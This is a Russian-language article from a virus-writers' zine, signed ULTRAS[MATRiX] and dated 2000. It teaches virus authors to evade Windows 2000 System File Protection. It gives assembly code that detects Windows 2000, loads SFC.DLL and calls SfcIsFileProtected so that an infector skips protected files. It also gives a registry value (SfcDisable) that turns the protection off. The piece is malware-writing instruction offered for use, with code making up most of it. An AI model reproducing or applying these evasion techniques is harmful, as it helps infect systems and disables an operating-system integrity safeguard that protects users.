|
|
Решил я как то раз написать вирус который бы работал под Win2000, но
столкнулся с проблемой. Эта проблема заключалось в том что вирус когда
пытался заразить файлы под Win2000 некоторые из них выдавали сообщения в
стиле обломись... Потом от benny я узнал немного о SFP и вскоре я нашел
интересную толзу (по моему на elicz.cjb.net) которая отключала SFC. Я
поговорил с автором он мне много рассказал про SFP и прислал исходник
програмки... Итак как отключить SFC, как узнать файл протект или нет и
многое другое... Несмотря на то что про это писал GriYo я все таки решил
описать это на русском и по своему.
Хочу сказать большое спасибо: mort, benny, Elicz.
Итак о галимой защите в 2000 виндах...
1) Для начало вашему вирусу надо проверить в какой операционной
системе он работает:
call GetVersion ;Получаем версию нашей операционной системы
cmp al,5 ;проверим если 5 - Win2000
jne no_windie2000 ;выходим если не Win2000.
2) Потом нам нужно загрузить SFC.dll для проверки в дальнейшем на
защищенные файлы.
call SFC_name
db 'SFC.DLL',00h ;имя нашей dll
SFC_name:
call LoadLibraryA ;загрузим её
xchg eax,ebx
test ebx,ebx ;проверим вообще если dll
je NoSFC ;опз... нема
mov dword ptr [SFCDLL],ebx ;сохраним для будущей работы
call SFC_api
db 'SfcIsFileProtected',00h ;имя нужной нам SFC API функций
SFC_api:
push ebx ;адрес dll
call GetProcAddress ;получим api адрес функций
test eax,eax
je NoSFC ;выходим если ошибка
mov dword ptr [SFCAPI], eax ;сохрани для вызева
3) Потом ищем файл и проверяем защищен он или нет.
push имя файла ;параметр для имени проверяемого файла
push 00000000h ;нули.. так над0
call SfcIsFileProtected ;вызываем api
or eax,eax ;проверяем если 0 - файл незащищен,
;1 - защищен..
jnz again ;если 1 нахрен нам такой файл нужен
Отключить SFP можно через реестр, это очень просто
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
SfcDisable = 01 (true)
но это параметр будет работать только после перезапуска системы :(
когда я дописывал эту статью elicz должен был выпустить утилиту
которая должна была отключать SFP без перезагрузки... как я не знаю...
ULTRAS[MATRiX]
What`s my age again
Март-Апрель 2000
|
|